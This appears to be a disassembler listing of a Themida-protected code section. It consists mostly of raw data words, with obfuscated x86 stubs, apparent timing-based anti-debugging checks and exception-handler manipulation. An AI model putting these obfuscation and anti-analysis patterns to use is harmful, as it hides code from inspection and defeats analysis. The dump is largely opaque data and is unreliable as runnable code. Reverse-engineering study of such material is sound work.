dd 4244481h, 19h, 0C5C35343h, 0AEFF6E19h, 4CB58D5Ch, 0F8061579h
dd 79C1858Bh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 3DFB22C3h, 0A0D28160h, 0E82A751Dh
dd 6, 0FE984902h, 585046E0h, 12E9615Eh, 1E000000h, 0B0BE817Ah
dd 0FE705974h, 64FE3488h, 8094C556h, 52509299h, 0CE9h
dd 0EBDC3200h, 3F25694Dh, 0CD76D8A9h, 0F310FF7h, 284h
dd 5A616000h, 50605058h, 0B6310F52h, 0E9585A95h, 0Ah, 916B4E41h
dd 0C8AAE19Bh, 9261415Bh, 4C010FFCh, 830FFE24h, 8, 2860Fh
dd 61600000h, 57006A5Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 0CE97Ch, 0CC840000h, 0D53D44BFh
dd 52E271CFh, 0C2837C7Dh, 8966F924h, 0F560FC72h, 0BE8h
dd 0A75B3600h, 41AF2057h, 53A938F0h, 615B5956h, 6A10CEC1h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 0C287C351h, 0FEC8224h, 1B89h, 158D0F00h
dd 0E9000000h, 10h, 0CBDF4545h, 5154CDD5h, 637899A5h, 97B4FE04h
dd 2728966h, 0F04CDFCh, 180h, 0C1E9FC00h, 0FC000000h, 8DC68060h
dd 2860Fh, 5B500000h, 0C1858B61h, 6A061579h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 8112C353h, 0D2CF60E6h, 168F0FD6h, 0E9000000h, 11h, 28011E92h
dd 8ECB42BAh, 16EF90E4h, 0EB53CF47h, 18B0FAAh, 0F5000000h
dd 794CB58Dh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 0D9A98EC3h, 14E9h, 0F1E71600h, 79E1E874h
dd 85388CE8h, 0A273AC3Dh, 0E85DBA25h, 86858D30h, 0E9061549h
dd 13h, 0C1D82A26h, 6E292C94h, 24D470CFh, 7E3653ECh, 0FFA60C20h
dd 0BF6660D0h, 81669C0Ch, 61036FE8h, 728B8589h, 6A0615h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 0BAC95C3h, 0DB22D68Ah, 0E961F8A0h, 11h, 460BE84Eh, 9FAB5598h
dd 739390B8h, 0B662425Bh, 8B858BDEh, 0F061572h, 198Ah
dd 61606000h, 10E9h, 0DDA1DF00h, 99D892AEh, 7F51EE75h
dd 0E1F2645Ah, 0FC361E3h, 18Dh, 0F60F900h, 78Eh, 0B70F6000h
dd 6145B4F9h, 79C1BD83h, 0F000615h, 3285h, 0BB666000h
dd 0E9617B51h, 0Fh, 34D84799h, 0FCF17F8Eh, 0D1FD47A4h
dd 0C73473DEh, 1579C185h, 1013F06h, 8860F00h, 0F000000h
dd 281h, 0E9616000h, 21h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 0BCC35545h, 0E8803D51h, 20CD7Dh, 0B000000h
dd 8D3774C0h, 0BD8B0C70h, 6157293h, 8B9h, 2275A600h, 8BFA7549h
dd 9D8B3048h, 615728Fh, 7F34583Bh, 6BD38B15h, 0CA0304D2h
dd 8589018Bh, 615728Bh, 8B04EBh, 8B61C5EBh, 15728B85h
dd 6ACF06h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 51F573C3h, 0C07F17D4h, 60D3F585h, 80DFBF0Fh
dd 6A6106D8h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 0DC3FC356h, 0F38A766h, 78Ch, 1830F00h
dd 0F8000000h, 0EE8C08Bh, 71000000h, 762CAB24h, 644CED89h
dd 49EFA9FCh, 0D2816683h, 0F958E7B2h, 5DA2C081h, 9ABF0000h
dd 0B932D140h, 0
; ---------------------------------------------------------------------------
loc_57E4A4: ; CODE XREF: Themida_:0057E510j
push dword ptr [ecx+eax]
movzx edx, bx
pop ebx
movsx edx, dx
add ebx, 182F6DFh
mov si, dx
add ebx, 0C579AECh
pusha
mov edi, 484CABF1h
add bh, 0CDh
popa
xor ebx, 359D017Ch
mov [eax+ecx], ebx
sub dl, 2Ah
mov di, ax
sub ecx, 5AC62287h
jns loc_57E4FA
jnz loc_57E4FA
jmp loc_57E4FA
; ---------------------------------------------------------------------------
db 4, 0BDh, 27h
dd 0C6FCCB68h, 1AF848FAh
; ---------------------------------------------------------------------------
mov al, 0D0h
loc_57E4FA: ; CODE XREF: Themida_:0057E4DCj
; Themida_:0057E4E2j ...
add ecx, 5AC62283h
pusha
push eax
mov si, 0FFB0h
pop edx
mov al, cl
popa
cmp ecx, 0FFFFA2F4h
jnz loc_57E4A4
mov dx, bx
jmp loc_57E91E
; ---------------------------------------------------------------------------
align 10h
dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
dd offset loc_55FFFF+1
dd offset dword_445750+0A8B0h
dd 0
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_57E91E: ; CODE XREF: Themida_:0057E519j
jmp loc_57FB1A
; ---------------------------------------------------------------------------
push 0
push eax
call sub_57E92E
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57E92E proc near ; CODE XREF: Themida_:0057E926p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_57E92E endp
; ---------------------------------------------------------------------------
dw 7859h
; ---------------------------------------------------------------------------
mov ds:20908F9Dh, eax
add [ebp+6122901h], ebx
mov eax, [ebp+61222EDh]
push 0
push esi
call sub_57E95C
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57E95C proc near ; CODE XREF: Themida_:0057E954p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_57E95C endp
; ---------------------------------------------------------------------------
dd 95D43F3Ah, 0F09F7377h, 1F85CB6h, 120CAD8Dh, 24443906h
dd 0A9850F04h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 0F687C356h, 605A7E10h
dd 1D999D89h, 10E90612h, 12000000h, 67CDE644h, 3558D701h
dd 7E3B7BFEh, 612C2853h, 53DBD83h, 0F000612h, 5F84h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 370CBF44h, 0F6D930FBh, 870F71E2h, 13h, 0BE960h, 94200000h
dd 0C74650FDh, 0E46196Dh, 8D61F58Bh, 123B5D85h, 8E906h
dd 3CCC0000h, 56FFA63Fh, 0E0FF407Eh, 7619D31h, 0BD890612h
dd 612167Dh, 1D39858Bh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 48AA61C3h, 0DBEE1F08h
dd 819529ECh, 3906122Ah, 0F042444h, 2B85h, 14820F00h, 0F000000h
dd 0E8Fh, 9E900h, 34430000h, 7312C8CBh, 0F8C3FB48h, 7F0485C7h
dd 10615h, 85290000h, 6123019h, 3FE9F960h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 68EC350h, 0CBE61ADEh, 0B589F242h, 61203C5h, 0C830Fh
dd 890F0000h, 6, 2A558D31h, 612h, 1B80000h, 87000000h
dd 1580C085h, 75C00B06h, 71B5FFF6h, 8F061228h, 157EFC85h
dd 6A206A06h, 0A595FFFFh, 83061214h, 120271BDh, 8740006h
dd 95FF006Ah, 61219CDh, 99BD83h, 74010612h, 80680Dh, 0FF6A0000h
dd 14A595FFh, 9F80612h, 1218119Dh, 10E906h, 6D8C0000h
dd 7BABD140h, 936AA256h, 3326198Dh, 0CE9FFA7h, 78000000h
dd 84EBD571h, 6232A5F0h, 0B84570C6h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_57EB63
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57EB63 proc near ; CODE XREF: Themida_:0057EB5Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_57EB63 endp
; ---------------------------------------------------------------------------
sti
pop ebx
retf 8509h
; ---------------------------------------------------------------------------
add eax, 1061229h
test [ecx-74F9EDE7h], esp
push esp
and al, 28h
sub [ebp+6122D2Dh], eax
mov [ebp+612187Dh], eax
push 0
push ebp
call sub_57EB9D
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57EB9D proc near ; CODE XREF: Themida_:0057EB95p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_57EB9D endp
; ---------------------------------------------------------------------------
db 62h, 5Bh, 33h
; ---------------------------------------------------------------------------
retf 0ECE5h
; ---------------------------------------------------------------------------
mov [ebp+6120479h], eax
xor [ebp+6120D5Dh], esi
mov esi, 3Ch
push 0
push ebx
call sub_57EBCF
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57EBCF proc near ; CODE XREF: Themida_:0057EBC7p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_57EBCF endp
; ---------------------------------------------------------------------------
rcr byte ptr [eax+62CE1965h], cl
or ah, [eax-4Ch]
pusha
mov [ebp+6120EB9h], esi
popa
add esi, [esp+24h]
push 0
push esi
call sub_57EC00
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57EC00 proc near ; CODE XREF: Themida_:0057EBF8p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_57EC00 endp
; ---------------------------------------------------------------------------
push ebp
inc edi
add al, 66h
lodsd
push 0
push ebp
call sub_57EC20
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57EC20 proc near ; CODE XREF: Themida_:0057EC18p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_57EC20 endp
; ---------------------------------------------------------------------------
dd 4DCE8AB3h, 24244403h, 8F0F50F5h, 0Bh, 6E9h, 0CCE1E500h
dd 89F09D6Ah, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 13A84EC3h, 178D0Fh, 0E9600000h
dd 0Bh, 5CCA18A7h, 89EDD51h, 0B8534D85h, 2ED24E87h, 0DE961h
dd 1C260000h, 0DE0BC045h, 29B74385h, 8BE124F7h, 6A7840h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0EDEB3CC3h, 6E9h, 1C955300h, 83483482h, 157F04BDh, 850F0006h
dd 0E0h, 0E2DBD89h, 50500612h, 0F525052h, 83h, 50310F00h
dd 5A310F52h, 0F585A58h, 50525031h, 5A310F52h, 0F310F58h
dd 88h, 5A585A00h, 24048958h, 9E9h, 2EE5400h, 1BC8EA10h
dd 85018578h, 6121295h, 2C24448Bh, 459D2960h, 0F061201h
dd 283h, 61585700h, 0FE86090h, 0F1000000h, 1C240431h, 29E42DC3h
dd 7D74C436h, 0ADB9453Eh, 5F24FC74h, 2870Fh, 0EA8A0000h
dd 840F5061h, 18h, 13E9h, 0E8250800h, 6C513DA8h, 450CB1Ch
dd 9B945615h, 81AA09Ah, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 858DFCDBh, 615507Ch, 10298529h
dd 85890612h, 612004Dh, 2960D0FFh, 122CB99Dh, 45B58B06h
dd 61061226h, 28244403h, 1FF59D89h, 408B0612h, 50006A18h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 0DB58950h, 4006122Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 98C35343h, 3A81E9Bh, 0CE9h, 0F0310500h
dd 54FC81C8h, 4108FA86h, 85891Bh, 6A06157Fh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 58BDC350h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 5EC35040h, 658D8B60h, 8B061216h, 853161DFh, 61228A1h
dd 0E1958960h, 61061215h, 0F78708Bh, 1988h, 14E900h, 8E560000h
dd 435CFC49h, 0E32B37BCh, 2949D5BFh, 670B07A1h, 0C683A1FFh
dd 57006A1Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 0BD895851h, 6121075h, 68E0Fh, 85890000h
dd 6121E61h, 85858996h, 8106122Dh, 24247Ch, 0F100000h
dd 0FA87h, 0DE900h, 86C50000h, 41B6449h, 68D75176h, 90C60E9Bh
dd 0C810Fh, 8A0F0000h, 6, 840Fh, 50500000h, 0FE952h, 0CE6D0000h
dd 0E678A66Eh, 0EEABDE39h, 19ED44EFh, 60310FC6h, 310F5250h
dd 5A61585Ah, 6A9058h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 0E901FDC3h, 0Eh, 33F35D67h, 0FE1F18C2h
dd 8BE4D73Dh, 448B7A33h, 90F82824h, 8880Fh, 840F0000h
dd 2, 0E9506160h, 0Eh, 36C9B988h, 1D5DE1A4h, 0BA075A08h
dd 6A900887h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 0BEA4C350h, 693DB07Dh, 8A0FD535h
dd 6, 91D8D29h, 85890612h, 6121A41h, 507C858Dh, 890F0615h
dd 6, 22918D29h, 0D0FF0612h, 9D895160h, 6120775h, 369CBB59h
dd 966120F8h, 20659D89h, 74030612h, 95892424h, 612124Dh
dd 0C758D31h, 0BD8D0612h, 6120251h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 0A2C35545h, 0DB95D0D9h, 7782F18Dh
dd 18D0F86h, 0FC000000h, 52006AADh, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 2B047E32h, 26B59589h
dd 85890612h, 61211D5h, 24247C81h, 10000000h, 10A870Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 9A7F91C3h, 0FEAA87FCh, 90C78002h, 52505250h
dd 310F5250h, 310F585Ah, 310F5250h, 585A585Ah, 870F310Fh
dd 11h, 0CE9h, 62F2F700h, 99C23A06h, 0B5C6E15Fh, 50585A6Eh
dd 0F525060h, 5A616031h, 2850F58h, 60000000h, 6A906161h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 1B59C356h, 7B5C14FBh, 0B589A0F1h, 6122F89h
dd 2824448Bh, 1629B529h, 50500612h, 11800F52h, 0E9000000h
dd 0Ch, 0C63C02Dh, 0D691AC1Bh, 0D0BBEEBFh, 6660310Fh, 5853C18Bh
dd 89585A61h, 820F2404h, 6, 4618501h, 8A0F0612h, 1, 7C858DFCh
dd 6A061550h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 0C821C355h, 42EC0518h, 0FF1AEC7Dh
dd 65BD89D0h, 0FC06121Bh, 24244403h, 13E9h, 0C24B1D00h
dd 0A5F1C40h, 8D6EF7A3h, 64023A46h, 27D09B5Ah, 8860Fh
dd 8D0F0000h, 2, 0E9AB6160h, 0Ch, 92E39028h, 0B4C9773Bh
dd 475E9BD8h, 0FA81h, 820F0001h, 755h, 0BD8DF8F5h, 612002Dh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D1C35242h
dd 779CD725h, 0EE92C70h, 7C000000h, 454A89ADh, 62CDB2Eh
dd 0CB444D5Ch, 8589AD38h, 6122415h, 24247C81h, 10000000h
dd 0BE870Fh, 50F80000h, 1A63B960h, 60562FB3h, 89615F61h
dd 0DE92404h, 0E3000000h, 1C5F9E8Ah, 10A8054Ch, 0F51CB6B0h
dd 2824448Bh, 1AA59529h, 50900612h, 68D0F52h, 50000000h
dd 5A310F52h, 60310F58h, 14E96160h, 35000000h, 0C6C11A4Bh
dd 44FD2015h, 6CAE8FFBh, 1E8DB653h, 61F356EAh, 5050585Ah
dd 0D78B6052h, 0F61C68Bh, 60525031h, 0F310F61h, 83h, 5A585A00h
dd 0B5299058h, 61211D1h, 507C858Dh, 6A0615h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0DDE2EAC3h
dd 0A380BED1h, 0FFFC7A65h, 0D840FD0h, 0E9000000h, 8, 69A70DA0h
dd 0DDA6CD3Fh, 24244403h, 13850Fh, 830F0000h, 0Dh, 8E9h
dd 5D5E7100h, 9A85AF64h, 0BF60906Ah, 4C2A2D17h, 59616053h
dd 52505061h, 0CE95250h, 0F4000000h, 785F1A21h, 0CBABC179h
dd 0F299CD1h, 0F525031h, 5A585A31h, 0F310F58h, 1284h, 0DE900h
dd 0F1790000h, 5D445FD6h, 69B1DD02h, 5A53E051h, 0DE99058h
dd 84000000h, 0E637918Fh, 7A97424Eh, 0A9760CD0h, 52006AABh
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 63C3EA2Dh, 0BD8D79A1h, 61204CDh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 0ECC35646h, 85019863h, 6122075h
dd 6E9ADF5h, 0C7000000h, 0D253A88Eh, 247C8192h, 28h, 0FE870F10h
dd 0F5000000h, 606050FCh, 0DE8h, 4C220100h, 16831653h
dd 280A42F3h, 6658CA7Dh, 61634CB8h, 0EE9h, 7E474F00h, 8A3715C7h
dd 784C015Ah, 618FA9DCh, 6A240489h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0F934C355h
dd 7B893C76h, 188D0Fh, 13E90000h, 48000000h, 0FA22EF5Ch
dd 26DCFF6Ch, 0E619CDD8h, 11859448h, 448B9623h, 6A2C24h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 0FC930CC3h, 0FE9h, 98357A00h
dd 5FECD01Ah, 4BB3DC9Ah, 0AFDDA808h, 0F525090h, 1687h
dd 11E900h, 2B700000h, 14E77DAh, 0F745EDF8h, 2994AC70h
dd 0FED1E46h, 0EE931h, 8D0A0000h, 8516FD2Ah, 6A8DCA4Bh
dd 0F8CB8454h, 0E950585Ah, 7, 1350905Fh, 902085FDh, 21199501h
dd 858D0612h, 615507Ch, 0D0FFF8F5h, 244403F8h, 2960F928h
dd 122BE19Dh, 30F2BA06h, 0AB614C18h, 8DFF5EFCh, 6157F00h
dd 7F00BD83h, 75000615h, 8DC0330Ah, 158E42B5h, 56E6FF06h
dd 247C81ADh, 28h, 500E7710h, 2C24448Bh, 7C858D50h, 0FF061550h
dd 244403D0h, 0DF8B9728h, 7EFC858Ah, 0C0840615h, 73A0474h
dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh, 0C033D18Bh
dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h
dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h
dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h
dd 85FF04C6h, 612187Dh, 0FFFF5DE9h, 85895EFFh, 612096Dh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 9FC35545h
dd 0A1E2C6B4h, 0F62F50Ah, 168Ah, 8B666000h, 0CE9C1h, 2D390000h
dd 352D7A32h, 27AC71B1h, 8B61FEE1h, 12187D85h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 0C3855EA9h, 92A877E4h, 8A0FB342h, 6, 235D8501h, 0F600612h
dd 858BCABFh, 61218A9h, 6AE0D161h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 804AC351h
dd 0A9B589BFh, 3061226h, 1204CD85h, 0C28B6006h, 830F60h
dd 89000000h, 1203758Dh, 2B616106h, 2D9D29F6h, 0E9061217h
dd 0Dh, 0FBE770h, 0F87BC5F7h, 5B91AB57h, 6A9698h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 606032C3h, 0C8DB589h, 8B660612h, 9D8961D1h, 6120285h
dd 360AD66h, 121AB18Dh, 61A8B206h, 6A02E0C1h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 7763C350h, 3AE1C61h, 0B911DBF9h, 59B53160h, 23061211h
dd 121C19BDh, 85036106h, 6120251h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 18h, 49C35646h, 7828DFACh, 6890Fh
dd 85890000h, 61215EDh, 830F96F9h, 1, 60F8ADF9h, 22D38166h
dd 0F9858B0Eh, 61061206h, 24247C81h, 10000000h, 13E870Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 2CB43DC3h, 9095E3C9h, 7E9h, 0C0776C00h, 8BFE04Dh
dd 50525050h, 890F52h, 0F000000h, 8A0F31h, 5A000000h, 50310F58h
dd 0F525052h, 0F585A31h, 850F31h, 5A000000h, 90585A58h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 18C35343h
dd 0AEF3A229h, 0B501AC48h, 6120C75h, 27D9589h, 448B0612h
dd 6A2824h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 0BBB57C3h, 7E9h, 4084BB00h, 0A6A7B44Eh, 0C880F50h
dd 0F000000h, 680h, 0F525000h, 89585A31h, 9D292404h, 61207B5h
dd 0EE9h, 68F32400h, 42BDAA7h, 0F5B82A86h, 8DD8F588h, 15507C85h
dd 0E8506006h, 10h, 75B32699h, 8D595BC0h, 1312A8F7h, 0E5B71FA7h
dd 0B9665B5Bh, 0FF6183F4h, 55006AD0h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 89D623D1h
dd 31E8760Dh, 120DA185h, 6E906h, 1D210000h, 0CAAD6F64h
dd 24244403h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 8DC35545h, 9B4B14C8h, 0E415A2C3h, 1C244489h, 2F699D09h
dd 0C6F50612h, 12287185h, 85C70006h, 61580C0h, 0
; ---------------------------------------------------------------------------
mov dword ptr [ebp+6157F04h], 0
push 0
push eax
call sub_57F889
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57F889 proc near ; CODE XREF: Themida_:0057F881p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_57F889 endp
; ---------------------------------------------------------------------------
db 2Eh, 89h, 0B5h
dd 89E0A447h, 1216B18Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 0E53180BCh, 1800FC1h
dd 0F9000000h, 0AE9h, 387FFF00h, 485D5A3Eh, 613330B5h
dd 939B589h, 8C20612h, 0B5296000h, 61206BDh, 381B58Bh
dd 89610612h, 1220519Dh, 51858B06h, 6A061202h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 1C94C356h, 0D40BA653h, 0CE572551h, 58D2960h, 89061229h
dd 122DE99Dh, 0FF86106h, 178Bh, 12E900h, 646A0000h, 0EEFEDE02h
dd 1080D584h, 7813BD18h, 0BA6B39CDh, 55006A4Ah, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 5BC954A5h
dd 666A67D0h, 820FF515h, 1, 4D26BF9h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 62C35141h, 0F9ADFE0Fh, 6E9h
dd 882C8500h, 3A19A02h, 52006AC2h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 28F816A6h, 31B5895Bh
dd 96061209h, 68D0Fh, 8D890000h, 6122905h, 6850FADh, 1000000h
dd 12098DBDh, 247C8106h, 24h, 14870F10h, 6A000001h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 0B83AC353h, 0F81D92E5h, 8E9h, 5B603200h, 1E30AAB9h
dd 52509057h, 850F5250h, 0
dd 5250310Fh, 585A310Fh, 310F585Ah, 0CA8B6660h, 6AC710B8h
dd 585A6152h, 0BE950h, 0B1900000h, 694A05C6h, 21A31C04h
dd 890F906Fh, 6, 4AD9531h, 448B0612h, 80602824h, 0BF0FC5D0h
dd 14E961F9h, 1D000000h, 4FF78A32h, 0E8820855h, 6DE4616Fh
dd 0D60F4C8h, 905A0EE7h, 0FB5B260h, 8Dh, 0F506100h, 0C8Dh
dd 6880F00h, 0F000000h, 88h, 6A9000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BD89BAC3h
dd 6122AE9h, 2041B509h, 858D0612h, 615507Ch, 24159531h
dd 0D0FF0612h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 16C35343h, 8E5E70F9h, 7D2D72C1h, 85BD897Dh, 0E9061222h
dd 0FFFFFD1Ch, 1C2D8531h
; ---------------------------------------------------------------------------
adc al, [esi]
loc_57FB1A: ; CODE XREF: Themida_:loc_57E91Ej
lea eax, [ebp+6159437h]
push 0
push edi
call sub_57FB2B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57FB2B proc near ; CODE XREF: Themida_:0057FB23p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_57FB2B endp
; ---------------------------------------------------------------------------
db 12h
dd 0C5F48B47h, 8C77B1Ah, 19D29F9h, 90061216h, 128D0Fh
dd 800F0000h, 0Ch, 7E9h, 3672A000h, 0B9BB5D9Fh, 0E9525050h
dd 0Fh, 106D5CA6h, 0F7903C0Fh, 113451D5h, 0F1E157Ch, 6830F31h
dd 0F000000h, 8Dh, 90585A00h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 0AEC35747h, 319D8589h, 0FF640612h
dd 35h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 0E9D466CBh, 12h, 3B824DFAh, 0C5056387h
dd 918EAE41h, 0AA145920h, 48B990Dh, 148D0F24h, 0E9000000h
dd 0Fh, 0C04D20C5h, 496F0043h, 0DD7A4203h, 89ECFC79h, 1216A985h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 0FA25DA4h, 0C8Ah, 0BE666000h, 8A0FB9BAh
dd 0
; ---------------------------------------------------------------------------
popa
mov large fs:0, esp
jmp loc_57FC59
; ---------------------------------------------------------------------------
db 0D4h, 71h, 0F9h
dd 0AF12CC09h, 205E8AA3h, 790EE4ACh
db 8Fh
; ---------------------------------------------------------------------------
loc_57FC59: ; CODE XREF: Themida_:0057FC44j
lea eax, [ebp+61592A0h]
pusha
mov esi, [ebp+61204C1h]
sbb bx, 19D3h
popa
mov [eax+1], esp
pusha
add ah, 92h
mov ah, dl
popa
jmp loc_57FE7A
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_57FC86
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57FC86 proc near ; CODE XREF: Themida_:0057FC7Ep
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_57FC86 endp
; ---------------------------------------------------------------------------
dw 0F461h
; ---------------------------------------------------------------------------
sub ecx, [esi]
setalc
push cs
pusha
mov edi, 1317E858h
and cx, 0F22Ch
popa
mov ebx, ebx
call $+5
pop ebp
sub ebp, 6159299h
mov esp, 12FF9Ch
cmp dword ptr [ebp+6120099h], 0
jz short loc_57FCDC
mov eax, [ebp+61203A5h]
mov byte ptr [eax], 0
mov eax, [ebp+6122411h]
mov byte ptr [eax], 0
call dword ptr [ebp+61230FDh]
loc_57FCDC: ; CODE XREF: Themida_:0057FCC2j
pusha
push dword ptr [ebp+6157B08h]
lea eax, [ebp+6157B0Ch]
push eax
lea eax, [ebp+6157D04h]
push eax
call dword ptr [ebp+6122371h]
add esp, 0Ch
popa
stc
push 0
push edi
call sub_57FD07
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57FD07 proc near ; CODE XREF: Themida_:0057FCFFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_57FD07 endp
; ---------------------------------------------------------------------------
ja short near ptr loc_57FD34+2
mov [ebp+612055Dh], edi
lea esi, [ebp+6157D04h]
mov [ebp+61234C1h], ebx
lea edi, [ebp+6120A31h]
push 0
push ebx
loc_57FD34: ; CODE XREF: Themida_:0057FD17j
call sub_57FD3C
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57FD3C proc near ; CODE XREF: Themida_:loc_57FD34p
